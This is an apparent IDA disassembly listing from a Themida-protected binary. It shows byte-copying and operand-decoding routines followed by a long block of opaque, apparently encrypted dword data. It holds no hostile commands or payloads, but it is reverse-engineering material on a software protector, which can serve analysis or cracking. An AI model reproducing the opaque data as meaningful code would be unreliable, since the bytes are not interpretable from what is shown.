loc_58715A:				; CODE XREF: Themida_:00587170j
		movzx	esi, byte ptr [ebp+17h]
		mov	ecx, [ebp+0Ch]
		mov	edx, [ebp+10h]
		inc	byte ptr [ebp+17h]
		dec	dword ptr [ebp+8]
		mov	cl, [ecx+esi]
		mov	[edx+esi], cl
		jnz	loc_58715A
		mov	esi, edx


loc_587178:				; CODE XREF: Themida_:0058714Dj
		and	al, 0FEh
		cmp	al, 0F6h
		jnz	loc_5871AD
		cmp	edi, 7Fh
		ja	loc_5871AD
		test	bl, 38h
		jnz	loc_5871AD
		cmp	byte ptr [ebp-7], 0
		jz	loc_5871A7
		movzx	eax, byte ptr [ebp-4]
		jmp	loc_5871AA
; ---------------------------------------------------------------------------


loc_5871A7:				; CODE XREF: Themida_:00587198j
		push	1
		pop	eax


loc_5871AA:				; CODE XREF: Themida_:005871A2j
		mov	[ebp-1], al


loc_5871AD:				; CODE XREF: Themida_:0058717Cj
					; Themida_:00587185j ...
		mov	dl, [ebp+17h]
		mov	bl, [ebp-6]


loc_5871B3:				; CODE XREF: Themida_:0058705Dj
		mov	al, bl
		and	eax, 7
		sub	eax, 4
		jz	loc_5871DE
		dec	eax
		dec	eax
		jz	loc_5871D4
		and	bl, 7
		add	[ebp-1], bl
		jmp	loc_5871E6
; ---------------------------------------------------------------------------


loc_5871D4:				; CODE XREF: Themida_:005871C3j
		mov	al, [ebp-3]
		add	al, 6
		jmp	loc_5871E3
; ---------------------------------------------------------------------------


loc_5871DE:				; CODE XREF: Themida_:005871BBj
		mov	al, [ebp-3]
		add	al, 4


loc_5871E3:				; CODE XREF: Themida_:005871D9j
		add	[ebp-1], al


loc_5871E6:				; CODE XREF: Themida_:005871CFj
		mov	al, [ebp-1]
		dec	byte ptr [ebp-1]
		test	al, al
		jz	loc_58720E
		movzx	ecx, byte ptr [ebp-1]
		inc	ecx


loc_5871F9:				; CODE XREF: Themida_:00587208j
		mov	edi, [ebp+0Ch]
		movzx	eax, dl
		inc	dl
		dec	ecx
		mov	bl, [edi+eax]
		mov	[esi+eax], bl
		jnz	loc_5871F9


loc_58720E:				; CODE XREF: Themida_:005871EEj
		pop	edi
		pop	esi
		mov	al, dl
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		db 8Bh,	0D0h, 8Dh
		dd 2495D88Dh, 0F381F506h, 297B09D8h, 0B5D8D89h,	6A061Fh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 0BBA115C3h, 3C8876EDh, 89FE855Bh, 1F2671BDh,	0C585C706h
		dd 74061F20h, 6A000059h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 15042444h, 47000000h, 9ECEC357h, 8D0Fh, 85C70000h
		dd 61F137Dh, 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0CCC35040h
		dd 0FA91E844h, 417B8CF9h, 0E3816684h, 0B5FFA844h, 61F105Dh
		dd 95FFF38Bh, 61F2D59h,	72D08166h, 0FF006A14h, 1F1D4595h
		dd 0EBC08B06h, 0D1FBD1Bh, 169AD9BCh, 0F7BC8304h, 3AD99C61h
		dd 1B84A42Bh, 7A5A9D64h, 0B0F6E785h, 15CE9h, 8D1F4F00h
		dd 954BFBF0h, 8758AC96h, 8C56B50Ah, 8F56BF53h, 8458300Ah
		dd 0AF714E53h, 0FD24663Ah, 0DD255753h, 697943C4h, 0BAB68060h
		dd 0CB140952h, 0CB15D053h, 0CB147C53h, 0CB143A53h, 0CB141F53h
		dd 0CB148F53h, 0CB14E853h, 0CB14E353h, 0CB14F953h, 0CB14F853h
		dd 0B86D2F53h, 0CB795B27h, 0A4664F73h, 0B867EA30h, 0CB14C70Eh
		dd 0CB14E353h, 0CB14F153h, 0CB14F853h, 0CB147C53h, 0CB143E53h
		dd 0CB141F53h, 0CB148F53h, 0CB14C753h, 0CB14E353h, 0CB14F153h
		dd 0CB14F853h, 0CB147C53h, 0CB143E53h, 0CB141F53h, 0CB148F53h
		dd 0CB14C753h, 0CB14E353h, 0CB14F153h, 0CB14F853h, 0CB147C53h
		dd 0CB143E53h, 0CB141F53h, 0CB148F53h, 0CB14C753h, 0CB14E353h
		dd 0CB14F153h, 0CB14F853h, 0CB147C53h, 0CB143E53h, 0CB141F53h
		dd 0CB148F53h, 0CB14C753h, 0CB14E353h, 0CB14F153h, 0CB14F853h
		dd 0CB147C53h, 0CB143E53h, 0CB141F53h, 0CB148F53h, 0CB14C753h
		dd 0CB14E353h, 0CB14F153h, 0CB14F853h, 0CB147C53h, 0CB143E53h
		dd 0CB141F53h, 0CB148F53h, 0CB14C753h, 0CB14E353h, 0CB14F153h
		dd 0CB14F853h, 0CB147C53h, 0CB143E53h, 0CB141F53h, 0CB148F53h
		dd 0CB14C753h, 0CB14E353h, 0CB14F153h, 0CB14F853h, 0CB147C53h
		dd 0F4582653h, 15FFE926h, 1F680000h, 0E9062499h, 0FFFBB265h
		dd 2499FD68h, 0B25BE906h, 0D068FFFBh, 0E906249Ah, 0FFFBB251h
		dd 249B9768h, 0B247E906h, 6568FFFBh, 0E906249Dh, 0FFFBB23Dh
		dd 249ED268h, 0B233E906h, 0A868FFFBh, 0E906249Fh, 0FFFBB229h
		dd 24A07368h, 0B21FE906h, 5868FFFBh, 0E90624A2h, 0FFFBB215h
		dd 24A33468h, 0B20BE906h, 68FFFBh, 0E90624A4h, 0FFFBB201h
		dd 24A47768h, 0B1F7E906h, 0DD68FFFBh, 0E90624A5h, 0FFFBB1EDh
		dd 24AACC68h, 0B1E3E906h, 0D968FFFBh, 0E90624ABh, 0FFFBB1D9h
		dd 0B71889B0h, 5CBD5056h, 0FD5E31FBh, 9CFD909Ch, 3A9B703Bh
		dd 0F5B6790Ch, 5A5EBF20h, 3A0162C3h, 82A30465h,	0E74CA809h
		dd 0B2AF3AB4h, 0B1F69DF7h, 0F38281A4h, 5B2C3F0Dh, 0E136B968h
		dd 8EE243C4h, 398EF797h, 0C04EC3E8h, 0B008B879h, 6BEE9DFBh
		dd 0AE04BE34h, 3150F2F7h, 3267AF5h, 4ECBA1h, 0B1760000h
		dd 5CB11A74h, 0E96C230Bh, 2C75BC4Ah, 9FBAF37h, 0B76C4FA0h
		dd 0A04E9534h, 25F7AD37h, 57EC14A6h, 77265117h,	2C0E5FC8h
		dd 0C957F679h, 0F6E30F46h, 0F4BAF7ADh, 65499E21h, 0EEA02FB2h
		dd 54F648CFh, 576F935h,	0B5CFA103h, 7A000000h, 850881A4h
		dd 179A0F30h, 0CD426DBEh, 18BD3164h, 6312F18Eh,	0D45570D5h
		dd 6029FC51h, 1C6FBCFFh, 97AEF18Eh, 0FF50B516h,	8CE1643Bh
		dd 0AE3CEBA2h, 28AB7C49h, 5AC345E0h, 0CE5E9851h, 0D40A958h
		dd 0FBAF9C80h, 0EC3DA655h, 29597C0h, 37B7EA53h,	98F7ADB2h
		dd 0A6FA5BE9h, 73A60F7Fh, 1CD41DBh, 53A40DBCh, 0ED52B368h
		dd 7301949Ch, 0FD782D0Eh, 0E2FD89DEh, 7BDE2DB0h, 85000013h
		dd 2182E3BCh, 0C223841Bh, 63C425F8h, 263C45Bh, 0D5036439h
		dd 0E7BC7FB0h, 8A1D2586h, 2EE3C829h, 0D0596CCDh, 7BAE136Fh
		dd 0F7B2B173h, 0A478BD64h, 44A5069Bh, 0F647A861h, 0B11A74B1h
		dd 0AF37237Eh, 8205B4FBh, 41880829h, 3A6F7CE0h,	3D1DF505h
		dd 8A184650h, 0AD36AF43h, 57A801F7h, 9C3BBE51h,	13D5C0Eh
		dd 0A102456Eh, 0BAD7h, 81A48200h, 0F308508h, 9443DAE4h
		dd 1AC0A2Bh, 0B639ECD0h, 0D46BE217h, 0E51C9F2Dh, 0F18E8746h
		dd 0B5396CC1h, 0E0F18E87h, 27C649DCh, 5ABF4DFCh, 859C24Bh
		dd 3E076C3Dh, 0BD4BEA6Dh, 612AFB5Ch, 0FF8F96DEh, 0A57A4596h
		dd 127BAE17h, 0C3FBAF76h, 0C65FB314h, 372C5FC8h, 8001CD05h
		dd 141768D1h, 0F2BD1E7Fh, 70C3A21Dh, 0DC5FE2FDh, 129D8Dh
		dd 1182A700h, 0B6694FB0h, 53CAF455h, 0FAAD91F2h, 0A2773899h
		dd 0BD721341h, 5BBC1DF2h, 0FE5FC057h, 0A2036439h, 4DA90A83h
		dd 0B139B5E8h, 0F79EF7B2h, 6F4FA0B2h, 0DCE035B8h, 0A70C9A49h
		dd 4DAE0F84h, 0F546AF78h, 37D659CEh, 0A4F748A9h, 30850881h
		dd 0DA2B9415h, 19B83BD2h, 0E7C92A8Bh, 4D58AD30h, 23135BBCh
		dd 79E2AC79h, 0AF388746h, 0A9948FBh, 1D6E80A1h,	0F18827A2h
		dd 0D51C63h, 50D5EE34h,	70610CB0h, 240CB13Dh, 427726E3h
		dd 0F2A177D7h, 9C6D3889h, 83EC7A19h, 45202950h,	0DC5F0EEDh
		dd 8CF59194h, 0C5C2E637h, 0DA1B3CD7h, 0A12FDE63h, 377C095Ah
		dd 0BA23D2F3h, 0C28A4465h, 0B243F846h, 25E6BF24h, 0C94263C4h
		dd 6BA6054Eh, 43921513h, 11CAh,	0D334EDD4h, 78D94C72h
		dd 21821517h, 0C829FCC0h, 6ECF4467h, 0C1EA2D40h, 0A68AEB4Ch
		dd 62D8EEFh, 0F6CF3091h, 1378D435h, 0B2B20EE0h,	0D51AC1F7h
		dd 9F0881A4h, 9E569A7Eh, 0E786099Ch, 0A9688FB2h, 0D550981Bh
		dd 9C1D50B9h, 0F9FBAF1Dh, 0BD88E94Ah, 0D3283ECh, 0E8761598h
		dd 7E081D65h, 9EF3E215h, 459601C9h, 0EB16A47Bh,	0A382D33Ch
		dd 1D2889EAh, 8E3DD0D6h, 2462C30Bh, 156D88BBh, 0E952FBE6h
		dd 0AD2A38B6h, 39E897F7h, 0E5A67FD0h, 8E012B7Ch, 673E9F00h
		dd 4ADB23A6h, 0BE82D33Ch, 37C564E7h, 365879CEh,	0A700EA3Eh
		dd 0CC4FC6ECh, 13197E2Dh, 0CC5AF97Ch, 0CEE44C85h, 5FDA8901h
		dd 0E2C30E1Ah, 35EAD30h, 0D000011h, 0A90A6B24h,	4AAB0C83h
		dd 0EB4CAD60h, 8AEB4CC3h, 5D8BECA1h, 6F240708h,	1285AD0Eh
		dd 0B66B50B1h, 58D1F455h, 3369BF7h, 0F7B2B3EBh,	0A40045ECh
		dd 51A5069Bh, 1E51BAD4h, 0FBAF08FFh, 499E21D0h,	0ED42AB7Ch
		dd 0B6FD909Ch, 0F7AD2838h, 0F95AE897h, 0A87F4394h, 93F88625h
		dd 2E76F9B2h, 221911F7h, 632B1551h, 1C7B882Eh, 8736F070h
		dd 0B678C91Eh, 2FBD5CDFh, 0CE8151E8h, 0E5D7F801h, 6F9B19DDh
		dd 0C245C6DFh, 0BBE67423h, 893B890Ch, 8F182D6Ah, 854BDA2Eh
		dd 0D039E8BFh, 0AFFE809Dh, 0C8F055FBh, 8433D255h, 5757A801h
		dd 0C4E83DC0h, 0AF14A251h, 0C6595F96h, 53059417h, 65210434h
		dd 0EE54C9FCh, 4AF901CEh, 0FC2F84E9h, 0F18F0EF2h, 43A836E5h
		dd 0EF26A962h, 0F18EFE03h, 4081A04Eh, 6DA0CDEFh, 0F18EFE81h
		dd 75F8A756h, 0DB8A1F20h, 0FEAF3F72h, 7120F18Eh, 0E6A77EE3h
		dd 3AFF2085h, 32E7708Bh, 0C7DE43D1h, 0AA7BC346h, 62FFEF22h
		dd 21D0F18Eh, 83D60972h, 0E6FBAF75h, 91905E91h,	903FF7ADh
		dd 0C728D702h, 14DA0D62h, 89F7AD91h, 0CE6DF0A7h, 1A66F4A3h
		dd 0EC2633Fh, 5BC4732Ah, 0EC6F260Ah, 3DB1E44Dh,	92F7AD91h
		dd 97EC55E3h, 78B07476h, 0BF5EE1B4h, 0E4AE028Ah, 45BE0F56h
		dd 0B0D101CAh, 0A7DA3D9Ah, 0F1C9DC47h, 71A4D988h, 85B3C1C6h
		dd 0A3D5E977h, 0F4AB8FF4h, 1944D271h, 0B576DB6Ah, 0CC265DE0h
		dd 0CDF1C984h, 58DBB27Ch, 52D32BB9h, 5598CB34h,	3CFBE5FAh
		dd 7C53061Bh, 8C3764FBh, 4B93C877h, 749F2D84h, 3A0B5CC5h
		dd 96AF1071h, 0E8399215h, 2FCE51C4h, 0E8733CA1h, 30CF52C7h
		dd 43890681h, 5EE1E4DCh, 0F350Fh, 0A97A3F00h, 4EC1E748h
		dd 0EBA28CEDh, 9205298Ah, 3AEFD031h, 55DAABD9h,	0F354B56Ah
		dd 96F758CFh, 3A9BFC91h, 0E541A26Bh, 0B5A14D80h, 8F36F7B2h
		dd 69BA44Ah, 0B0794C9Dh, 37598E2Dh, 0C0E3EB20h,	75D637C5h
		dd 4D6ED750h, 9160A582h, 0F2BA1F47h, 6BF9981Bh,	0F9B293E8h
		dd 827D576h, 0D031FACBh, 0E404FF70h, 94C71C9Ah,	0F18EEA5Ah
		dd 4769CE7Dh, 20AE4DD0h, 181E1h, 81A48C00h, 15308508h
		dd 7DCE3394h, 0F0005AB7h, 0FC283AFCh, 0BE67BF4Dh, 0FD3467D0h
		dd 9CFBAF7Ch, 0E5B0A97Bh, 93216297h, 0FF36B968h, 0F7AE0BF3h
		dd 0BBFC1BBDh, 0BBB3366h, 6D1CF7AEh, 2DF47BDFh,	0D627A103h
		dd 74B341D4h, 42h, 694FA01Fh, 55D028B6h, 49DD039h, 0D1FBAF37h
		dd 8A689F22h, 13F7AD37h, 0A2F77A2Dh, 3886099Ch,	8EE06786h
		dd 0DE91CDECh, 3DA10245h, 2B39B5E8h, 0EF9EF7ADh, 3574F9BAh
		dd 0AF3D9F7Bh, 0A770h, 81A41B00h, 37BA7352h, 0D66E998h
		dd 5644DAECh, 53E1B0A7h, 0D558CDEEh, 0C2EA580h,	0C8771699h
		dd 979BEC45h, 50DE7D00h, 0F051DAEBh, 8EE97EADh,	7F081DF1h
		dd 2B5BCA1Eh, 0D94E71C2h, 32AFE24Bh, 83FBAE6Eh,	111A6BD4h
		dd 95B61B7Ch, 647C9436h, 2F942297h, 93DEE10Ch, 0C447F6A9h
		dd 92FB7625h, 0E0E4E212h, 0DC80E5Dh, 0EFD20000h, 4E74D536h
		dd 2B1576D7h, 8AB21374h, 6E51B213h, 5B2A58B9h, 0D536EBD4h
		dd 78D94C74h, 1A7B1017h, 0BA1BECB9h, 28C6F95Eh,	0A7F7B2B6h
		dd 4FA0BB00h, 0C328B669h, 61C223F8h, 1162C344h,	9F0881A4h
		dd 745D307Eh, 0C856E860h, 9AD5F045h, 8E908767h,	70383EF1h
		dd 26B680ECh, 0B0E34CFBh, 0F18E573Eh, 0D233E291h, 50D35471h
		dd 488DD6F7h, 985C5281h, 94B15F79h, 67F5A49Bh, 0F78160Fh
		dd 0AF7709DCh, 0BE1FCEFBh, 73463h, 9BA40E00h, 0A64C8306h
		dd 4F18E18h, 0C9FC6521h, 0FBAA8E1Ch, 3889F2A1h,	7B1A9D70h
		dd 0F3811416h, 9B6C398Ah, 0BE84D53Ah, 37C564E7h, 0B73AF3D2h
		dd 370E5962h, 679AF376h, 0F7B2AE87h, 3BEA9948h,	0E72ADFC0h
		dd 0DD2CAFE4h, 0CF2h, 0FB5C35FCh, 0A001949Ah, 49AA7D3Fh
		dd 0F051C4E8h, 96F7AC8Fh, 29120568h, 8EB21374h,	6E55B617h
		dd 2EF758B9h, 3BA0FC5Dh, 0B2B7E608h, 0FD42E9F7h, 0A5069BA4h
		dd 25A86144h, 0B134F5D0h, 2436210h, 0D41C5EE1h,	81B4DC08h
		dd 0F18EC06Dh, 0CF04B362h, 8EACB146h, 0B51AA8E5h, 0C42A5D90h
		dd 13F18E94h, 911489AEh, 0D9DE43F2h, 7322C144h,	6C82B50Ah
		dd 6BF18E94h, 0C05757BCh, 0AF109E3Dh, 0E3A3204Fh, 0D259Ah
		dd 0C2D00000h, 0F18E01FAh, 0FDA4EE4Dh, 0C299FFFFh, 0F18E1830h
		dd 72DBAB7Ah, 50A49A51h, 0B3417377h, 99C6174Ah,	38E7FBAAh
		dd 0E4B97ECFh, 0CB34C261h, 81E2AB7Ah, 1840520h,	930E83ACh
		dd 0E4E7211Eh, 27BA098Ch, 3100000Ch, 0D5369708h, 76D738EFh
		dd 1F80E1B4h, 0C627881Fh, 0A1CF30E5h, 0AB604BCCh, 4EC1E94Ah
		dd 0F2A78CEDh, 94153091h, 3F72D733h, 0F7B2B8AFh, 0A4347920h
		dd 30850881h, 70119415h, 1162A3C2h, 85EA782Fh, 2686E7A0h
		dd 9AE32749h, 0A44A7DD2h, 33F18E0Ch, 6E81B84h, 0C9F18E0Ch
		dd 1E4D8C1Ah, 0F8000000h, 46D4FA0h, 48E76A3Fh, 0CFEF6499h
		dd 0E7F82D23h, 8EAA1259h, 1E7DF18Eh, 0FFFFFCEEh, 1A74B1C9h
		dd 67F7EB1h, 0A150FBAFh, 260AE71Eh, 2A4F7ADh, 48C8A7E3h
		dd 0B07DA102h, 14000001h, 1E628CBFh, 0C675F7ADh, 0C2E338h
		dd 53F18E18h, 0EDBE87DCh, 911A2B8Ch, 5864B50Eh,	9AF037C5h
		dd 43F18E17h, 0D025A87Fh, 5FB437EEh, 0A241C45Bh, 0EC739244h
		dd 80BDDC8Eh, 2F83E4A5h, 0BD1295F9h, 5DBE1FE8h,	8AB40548h
		dd 1822CC13h, 0B37BF18Eh, 8FBA59DCh, 77AE31E0h,	0F18E180Bh
		dd 0C80423C5h, 9AE33AA7h, 1469Eh, 81A44900h, 15308508h
		dd 46DF3394h, 85ACDF48h, 52FBAF1Eh, 76C720A3h, 84FDDB0h
		dd 0F7AD1EEAh, 0C40524C6h, 4BD95273h, 24088E7h,	35BDA1h
		dd 0FF540000h, 0AD1622CCh, 0DCB37BF7h, 1F7402B1h, 0B11A74B1h
		dd 0AF37237Eh, 192576FBh, 841B2186h, 991CCBF6h,	0AD379062h
		dd 5F7E20F7h, 2464C23h,	0B3F9A1h, 0A4A40000h, 0B76E5281h
		dd 63E69534h, 0F5782D0Eh, 9B0485A0h, 2DB0654Ah,	287D008Eh
		dd 0C62B8C1Dh, 84052071h, 0D31B6201h, 4F18E18h,	870A9D9Fh
		dd 64AB39E8h, 0F18E103Fh, 3AA789DAh, 6DF09F76h,	0CADB40CEh
		dd 998CE041h, 30EE0033h, 83A7F18Eh, 0BFEA890Ch,	0C5F86110h
		dd 0FBADBD1Ch, 4CA10AB9h, 0CD2AC4F7h, 0FEADF7AFh, 6B200B70h
		dd 1186A90Ah, 0E2091196h, 0C71699E4h, 0A42h, 4BAC654Ch
		dd 0F051C4EAh, 99FAAD8Fh, 40A17438h, 0E647DCDFh, 5962D5B8h
		dd 3E0263C4h, 9EA50667h, 7E47A809h, 8BF04CADh, 0B2BA9658h
		dd 4D9239F7h, 0A5069BA4h, 47A86144h, 881A4F6h, 0D7DB2C85h
		dd 8498BD40h, 9D94FC26h, 7E3EA352h, 91B419A7h, 0E25CB718h
		dd 0F3000003h, 80039AA2h, 7CFAF427h, 2EDDF18Eh,	0BD9CF17Fh
		dd 305EC7DDh, 8E3C94C7h, 0EC9BFBAAh, 6620055Dh,	9B47CAFDh
		dd 611001D3h, 0B34BA7DEh, 0C365F1C9h, 0DB0E63A4h, 0F1C9B313h
		dd 0F46A38BAh, 305BEC5Dh, 0E08FF381h, 659B1ED0h, 341h
		dd 3A7FA010h, 2D27066h,	0EB074EDCh, 0D0F18E7Bh,	0F18E7B17h
		dd 76369A8Bh, 7B3CB2E5h, 0EC9BF18Eh, 6C1BBA3Dh,	94DDD003h
		dd 0C372FBAFh, 0DCC5B548h, 83D255E4h, 966h, 77D84970h
		dd 1C7D1016h, 0BD1EF1BBh, 5CBD505Ch, 0FA5B30FBh, 0B576B9CCh
		dd 1A1E7FE0h, 0FAC12283h, 4263C425h, 0A70C68C9h, 0B2BB7A74h
		dd 71B65DF7h, 850881A4h, 4AA4D72Ch, 8DF18E18h, 2DF850DEh
		dd 32D7F861h, 0D91EE882h, 970C3398h, 7EE77514h,	0AAED7E4Bh
		dd 47A857FBh, 0EB5432F3h, 0CF570DB8h, 380D7201h, 257C06Fh
		dd 8E771FCFh, 7301B0F1h, 1EF1B90Ah, 78507ABDh, 0D75AF18Eh
		dd 761CD205h, 86BBF18Eh, 0A5ECDEB8h, 0A5540316h, 48DFE344h
		dd 141B6CC5h, 0EC5D4F9h, 34E3C809h, 0A36441A6h,	4CC3E93Ah
		dd 199C2AC9h, 0B6386BC0h, 19F18E68h, 6A198CB4h,	0E5A184DCh
		dd 7928497Ch, 0FEADFBAFh, 0DCDCC883h, 0C8179AE4h, 89Ah
		dd 0A3049DA4h, 48A97C42h, 0F152C5E7h, 98F9AC90h, 3E9F7437h
		dd 0F1BA7D10h, 565ABB1Ch, 36FD5EBFh, 869F0061h,	0E348A405h
		dd 0B2BC3EB0h, 0A5EA91F7h, 0B11A74B1h, 0AA8E477Eh, 70D988FBh
		dd 31E4CA1Bh, 1C810FAEh, 0BF208114h, 9ABB24FBh,	981C0EE0h
		dd 8D109E12h, 3DA6E045h, 0CF71BF0Ah, 0E6691801h, 9E07879Eh
		dd 0AFB2066Bh, 0A520CFFBh, 0E4DCED24h, 23F443C6h, 2D000008h
		dd 0C92A8B04h, 6ACB2CE3h, 0B6CCD40h, 0AA0B6C23h, 7DAB0C81h
		dd 8F0427E8h, 32E5CD2Eh, 0D64B70D1h, 78311475h,	2356BB17h
		dd 0F7B2BCCBh, 0A420650Ch, 2C850881h, 184AA4D7h, 0DE8DF18Eh
		dd 0CBDAEB50h, 71D12D1Dh, 0D903F71h, 0F1B6076Ch, 6CFA991Ch
		dd 475E9BBAh, 6A0565C6h, 0DB9AE33Bh, 165h, 5F2A5172h, 40293800h
		dd 6AF8A77Eh, 881A415h,	0F1A77E9Fh, 9A4D1EEBh, 1134890Ch
		dd 9645D8E2h, 9444E135h, 2277FAAFh, 6100831Ah, 459A03B2h
		dd 4B31BDF0h, 3568F18Eh, 0F18E4BB9h, 95446F1Eh,	5171C007h
		dd 37E6FBAFh, 4D757DB4h, 0E23BF7ADh, 0CD1205C1h, 4A7DD171h
		dd 0F7ADB4A4h, 47D58433h, 353A7695h, 0E6A102D7h, 71F4AB95h
		dd 490544D2h, 0B0000000h, 349474B1h, 34027C3Bh,	79AC15C4h
		dd 0FBAF7628h, 0E4B97ECFh, 19D50861h, 0BEF7AD38h, 0A7D2600Fh
		dd 0FB1C75F8h, 0C273963Fh, 2168F64Ah, 0F7AE11D1h, 0E21E3DDFh
		dd 0A1031F8Dh, 0E806398Eh, 0E7F7AE05h, 8D6BAA38h, 16000000h
		dd 850881A4h, 179A0F30h, 0A72AE3C2h, 59BA7352h,	95DAD3F4h
		dd 5B465D18h, 313586CDh, 495CF18Fh, 1A0B5FC0h, 5E65F2B6h
		dd 0F8971AC9h, 34ADE049h, 81FBAE86h, 171869D2h,	0FFC02182h
		dd 0F000AF2Ah, 57DAE4E2h, 6BD08h, 31E2C700h, 0D6496FD0h
		dd 732A1475h, 1A8DB112h, 0C25758B9h, 0DD523361h, 7BDC3DD2h
		dd 1E7FE0B7h, 0C2238419h, 6DC92AE3h, 0BD19D508h, 17BEF7B2h
		dd 184BA0D2h, 0F18E18D6h, 57BC4AF9h, 0FD5EBF54h, 0ADFE5F28h
		dd 9F0881A4h, 3E6B3A7Eh, 206EA37Ah, 79FC8ABBh, 0F3D20124h
		dd 0CF2A8B3Ah, 55h, 0BE7FA07Ah,	633DF461h, 0AAA1ED7Bh
		dd 508349DCh, 0F18F119Eh, 2DE0CC31h, 0AD5C0BAAh, 87BE1144h
		dd 600FFBABh, 26D6F7h, 647022DAh, 1FB47D6h, 0A7107EA7h
		dd 2D1E3152h, 0FA023C94h, 0C9A5256Ch, 33E201CEh, 4745A4h
		dd 87DC0000h, 8EC59A54h, 8E3DF1h, 764FA0ABh, 59332B5h
		dd 0A50E78ADh, 0AF2AE772h, 8E11C0FBh, 4ADFE435h, 9A8275BCh
		dd 0A745F7ADh, 0C1CD5888h, 8DB20358h, 16438A18h, 0AFF59008h
		dd 82449F00h, 0DB000000h, 5DEBA28Ah, 1A74B108h,	8E4F7EB1h
		dd 0D180FBAAh, 0A8EC1048h, 0D09FDBFAh, 75A107BCh, 55h
		dd 1A74B120h, 8E527EB1h, 0D281FBAAh, 99A3F449h,	56E48306h
		dd 0F4A2F20Ah, 0C3F94D5h, 0F7B2AEE2h, 0AADD46F5h, 0F7B2AE44h
		dd 0F256E493h, 0A107BC7Dh, 20C8h, 74B17300h, 14C35A64h
		dd 8E5778ABh, 8938FBAAh, 6034C800h, 185793B2h, 2DA107D1h
		dd 0Dh,	3198C2D8h, 4CABF18Eh, 0FFFFFF49h, 6474B1F7h, 0A544C75Eh
		dd 435A8DF6h, 0D6FBAA8Fh, 67EABD85h, 0F77A3312h, 0F01BA958h
		dd 0AF76BE41h, 1B2576DFh, 4DC74F84h, 6AA84E2Bh,	8A4073DCh
		dd 0F01CF5Dh, 0A528FDBEh, 49BA106h, 2954E281h, 3BA6F7F4h
		dd 0B867352Dh, 4E38ED35h, 0DE43B2E5h, 0BF24FBAAh, 0C7524FBh
		dd 0C122F5BBh, 65CEB86Dh, 0CF546B32h, 349D4C01h, 0E647DCE3h
		dd 0A8F51AA3h, 0A3644149h, 0A38CDD42h, 2AFB60EEh, 9EA7F861h
		dd 0B6EB8A0Dh, 0E8EBB337h, 0BB3ECCA8h, 6BD4B273h, 0D5B70138h
		dd 4EB76693h, 0DF6235FDh, 0E12FB240h, 0F2D3102Fh, 0B077D839h
		dd 3D0358DBh, 88B0016Ah, 6399215h, 8FC7D4E8h, 0FB8938E7h
		dd 86192378h, 198CAE03h, 92B15396h, 0F716B80Bh,	0B59AF5BAh
		dd 7CEEE91Fh, 5DB21BCAh, 0C71FC42Ah, 0D664138Fh, 7BEF1075h
		dd 0E7BC7F99h, 2690C564h, 1D821071h, 0C2FE8116h, 0A5C61B38h
		dd 0C0F3B0EBh, 8FC74F2Eh, 3CBDF2A1h, 3CEE7C44h,	0A18BDC1Dh
		dd 34FB60EEh, 0B1ADFE5Fh, 3C911476h, 1637A069h,	0FF791F05h
		dd 0A82BB946h, 7486719h, 9D20F5B6h, 0A1456978h,	0B4637355h
		dd 3559CE26h, 0D95273D4h, 7FE31850h, 5075B2D1h,	0DDE348D7h
		dd 5E90C74Ah, 3EF18F11h, 0A306D8Ch, 0EAD13293h,	4477CC35h
		dd 0F18F11AAh, 0A4497E2Dh, 0E9817E67h, 33ABD4Bh, 0F18EB5EEh
		dd 0E92645F7h, 87EC4DC2h, 13A17436h, 8ED266CCh,	763EE7F1h
		dd 3F4B5F4h, 0C580F054h, 80C79AE3h, 72FFFFFFh, 0A70881A4h
		dd 34F87F46h, 6029FC61h, 0CED728B1h, 8C3EB43Dh,	9415306Dh
		dd 0E93F0A2Bh, 2BDCD773h, 6A098C03h, 3A9E2DBBh,	9AE3CC35h
		dd 5510h, 4FA0BB00h, 9635B86Fh,	1975B008h, 8E4D7DB0h, 218AFBAAh
		dd 0B2AE00EEh, 0F7B095F7h, 0CB4067CCh, 8FE46D1Ch, 0AEE7073Ah
		dd 39E8F7B2h, 0D89C5FABh, 71C60726h, 0B2AEB03Eh, 7701FF7h
		dd 0B2AE1AD4h, 800EBDF7h, 2891FD28h, 0CF23D5F5h, 7403B201h
		dd 4315h, 74B1C000h, 4C7EB11Ah,	4DFBAA8Eh, 0DF6237FCh
		dd 0D887B240h, 86071E6Fh, 4DD66403h, 55F3E915h,	9BA4F536h
		dd 5207806h, 338EFD3h, 26F65EB8h, 0C831E0FDh, 0CF133595h
		dd 7AE39201h, 88B1C29h,	0F74CDB69h, 9F0881A4h, 0CCFF6C4Eh
		dd 0F18E1822h, 0D45706B5h, 0CB24A735h, 53E1B47Ah, 0F556D7EEh
		dd 0A10A84A1h, 0AF1EC36Eh, 7CE594FBh, 0C1FE4D5Bh, 62F0ECA0h
		dd 8F4AA8DFh, 0D66F7ADh, 9422F7BCh, 0E887C3E2h,	33A102B1h
		dd 0B947DEE2h, 4C7Ah, 0F8C01100h, 0B1429725h, 0C35A6474h
		dd 723CA140h, 0CA79189Bh, 0F1BB0C61h, 6EFC9B1Eh, 0AF377A27h
		dd 43AC5BFBh, 0D457CEF2h, 0ED24A735h, 0F7AD3705h, 63479098h
		dd 257AFDACh, 0B402851Ah, 0A5CE302h, 620D4968h,	0E3A10246h
		dd 0F1h, 881A48Eh, 9A0F3085h, 2AE3C217h, 0F230A0C1h, 0FE4A4078h
		dd 8D98ED70h, 0D3589BFCh, 36F18E4Fh, 588BDAE5h,	0F18E4F96h
		dd 4DDB8A39h, 0EB4CDDE8h, 723CBB8Ah, 0CA79189Bh, 6826FF47h
		dd 4291CCFFh, 7726FBAFh, 1FE8BD0Eh, 49DC3091h, 0BB83D43Dh
		dd 59C261E4h, 0AD3CC826h, 0CA5807F7h, 0CCBD2E61h, 0BFE001CCh
		dd 0FD12D3DCh, 0FE29B7A0h, 0AA95E64Fh, 0DE2F94F5h, 0F4AB91DEh
		dd 0A023D271h, 2D0E7301h, 7A29FCC2h, 0FD1726FFh, 62B134E2h
		dd 1CEh, 0DF40D1D8h, 84E5B87Eh,	25861923h, 0C425F8C4h
		dd 62C35863h, 0DDDE5134h, 0A286E748h, 2298AEBh,	0FACB2C8Dh
		dd 0F74D031h, 0B2C212DCh, 0D91EC5F7h, 0B2F7FA0h, 1A99C463h
		dd 5BFA7D10h, 0F6B91EACh, 3A5BC021h, 643D8881h,	0DFA59EE2h
